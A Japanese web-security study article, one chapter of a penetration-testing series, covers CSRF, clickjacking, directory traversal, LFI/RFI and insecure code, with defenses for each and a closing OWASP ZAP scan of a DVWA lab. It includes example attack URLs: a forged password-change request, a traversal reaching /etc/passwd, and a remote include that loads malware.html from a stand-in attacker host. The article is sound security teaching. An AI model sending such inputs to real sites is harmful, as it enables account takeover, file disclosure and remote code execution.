導入
本記事は以下の続編として、CSRFやクリックジャッキングなどの脆弱性を解説します。
この記事で得られること
- CSRF・クリックジャッキング・LFI/RFIなど、主要なアプリケーション脆弱性の構造と攻撃ベクトルを理解できる
- ZAP等の実践ツールを通じ、検証環境で脆弱性を検出・評価するプロセスを再現できる
⚠️ 注意(必読)
本記事で扱う内容は、悪用した場合、重大な法的リスクを伴います。
許可された演習環境・検証環境でのみ実施してください。
実在組織・個人への攻撃は禁止されています。
本章について
6章ではアプリケーションベースの脆弱性の悪用を解説しますが、
内容が広範なため複数の記事に分割いたします。
以下が6章全体の構成です。
- 6.1. Webアプリケーションベースの攻撃の概要とOWASPトップ10
- 6.2. 独自のWebアプリラボの構築方法
- 6.3. ビジネスロジックの欠陥の理解
- 6.4. インジェクションベースの脆弱性理解
- 6.5. 認証ベースの脆弱性悪用
- 6.6. 認可ベースの脆弱性悪用
- 6.7. クロスサイトスクリプティング(XSS)の脆弱性理解
- 6.8. クロスサイトリクエストフォージェリ(CSRF/XSRF)攻撃の概要👈本記事
- 6.9. クリックジャッキングの概要👈本記事
- 6.10. セキュリティ設定ミスの悪用👈本記事
- 6.11. ファイルインクルード脆弱性の悪用👈本記事
- 6.12. 安全でないコードの悪用👈本記事
1. クロスサイトリクエストフォージェリ(CSRF/XSRF)攻撃の概要(6.8)
CSRFとは
- 攻撃者がログイン済みユーザーの認証状態を悪用し、意図しない操作を実行させる攻撃
- セッションライディングとも呼ばれる
攻撃例
- Webフォームでパスワード変更時、以下のようなURLを送信することで、ユーザーのパスワードが意図せず変更される
http://XXX.YYY.ZZZ/vulnerabilities/csrf/?password_new=newpasswd&password_conf=newpasswd&Change=Change#
防御策
- CSRFトークンの導入
- Refererヘッダーの検証(単独では不十分です。)
- SameSite属性付きCookieの利用
2. クリックジャッキング(6.9)
攻撃の概要
- 透明または不透明レイヤーを重ね、ユーザーが意図せずボタンやリンクをクリックするよう誘導する攻撃
- CSS、iframe、テキストボックスなどを組み合わせて実施される
防御策
- CSPフレーム制御(X-Frame-Optionsの代替)
- フレーム最上位ウィンドウ確認の防御コード導入
3. セキュリティ設定ミスの悪用(6.10)
ディレクトリトラバーサル
- Web公開フォルダ外のファイルアクセスが可能になる脆弱性
- URL例:
http://XXX.YYY.ZZZ?page=../../../../../etc/passwd
-
防御策:
- ユーザー入力の制限
- 機密ファイルをWebルートに置かない
- 入力検証とホワイトリストの利用
Cookie操作攻撃
- DOMベースの攻撃で、ユーザー入力を用いてCookieを書き換える攻撃
- 防御策:信頼できないデータからのCookie操作を避ける
4. ファイルインクルード脆弱性(6.11)
LFI(ローカルファイルインクルード)
- ユーザー入力でサーバー上のファイルを読み取る攻撃
- ディレクトリトラバーサルと組み合わせる場合もある
RFI(リモートファイルインクルード)
- 攻撃者ホスト上のファイル(コード)を実行可能
※設定によって無効化されているケースが多いです - URL例:
http://XXX.YYY.ZZZ?page=http://malicious.h4cker.org/malware.html
5. 安全でないコードの悪用(6.12)
主なリスク
- コメントにシステム情報や認証情報が残る(CWE-615)
- 過度なエラー情報の露出(StackTrace、DBダンプ)
- ハードコードされた資格情報(CWE-798)
- 競合状態による制御バイパス
- 保護されていないAPI(CWE-227)
- 隠しフィールド改ざん
- コード署名欠如やSRI未利用
防御策
- コメントやエラー情報の適切管理
- ハードコード情報を排除
- 強力な認証・入力検証・HTTPS利用
- APIにはバージョン管理、アクセス制御、ファジングテストを導入
- 標準ライブラリの使用、セキュリティレイヤの分離
参考:
5-1. APIに関連する情報
最新の手法やテクノロジー:
- シンプルオブジェクトアクセスプロトコル(SOAP):
- XMLベースのAPI.CORBAなどの古いソリューションの置き換えのために開発
- 仕様はこちら
- Representational State Transfer(REST):
- JSONベースのAPI
- OpenAPIやSwaggerなどの標準規格に準拠
- GraphQL:
- モバイルアプリやダッシュボードで利用されるAPI用のクエリ言語
- 仕様はこちら
実装のためのロードマップやドキュメント:
- Swagger(OpenAPI):
- OpenAPI仕様のドキュメント及び開発基盤
- Swaggerに関する情報はこちら
- Webサービス記述言語(WSDL)ドキュメント:
- Webサービス機能の文書化を目的としたSOAP専用のXMLベースの言語
- 仕様はこちら
- Webアプリケーション記述言語(WADL)ドキュメント:
- Webアプリを記述するためのXMLベースの言語
- 仕様はこちら
※現在は非推奨
OWASPのファジングに関するページはこちら
5-2. Webアプリケーションハッキングツール
プロキシ・脆弱性スキャナー
ファジング・ディレクトリ探索
- gobuster:Goで書かれたDirbusterの親戚
Githubリンク - ffuf:Goで書かれたWebファジングツール
Githubリンク - feroxbuster:Rustで書かれたファジングツール
Githubリンク
6. 実践演習:脆弱性のスキャンと照合
OWASP ZAPを利用して脆弱性スキャンを行うとともに、
OWASPのWebセキュリティテストガイド(WSTG)に記載されている内容を理解する。
KaliVM上でOWASP ZAP起動
Kali VM上のメインメニューからzapと検索してOWASP ZAPスキャナーを起動します。
オートスキャンで対象サイトをクロール・脆弱性スキャン
メインウィンドウからオートスキャン(Automated Scan)をクリックし、
http://172.17.0.2/dvwa を対象にスキャンを実行します。
結果確認とアラート詳細をWSTGと照合
アラートタブから結果を確認します。
それぞれのアラートをクリックすると詳細が表示されます。
図の例ではCVE-2012-1823に該当する脆弱性を有していることがわかります。
アラートタグという項目が詳細の下部に記載があり、
WSTGのキー値が記載されているのでそちらを参考に、WSTGのサイトでテスト方法と観点を確認して検証環境で挙動を再確認できます。
参考:OWASP WSTG
まとめ
本章では、Webアプリケーション層における複数の脆弱性を横断的に整理し、攻撃手法と防御戦略を明確化した。
各脆弱性は相互に影響しうるため、設計・実装・設定管理を通じた多層防御が不可欠である。
最後に紹介したZAP演習により、理論と検証手順を結びつけて理解を深める構成とした。
📍 次回予告
次回は7章「クラウド、モバイル、IoTセキュリティ」の内容を解説します。
次の記事はこちら




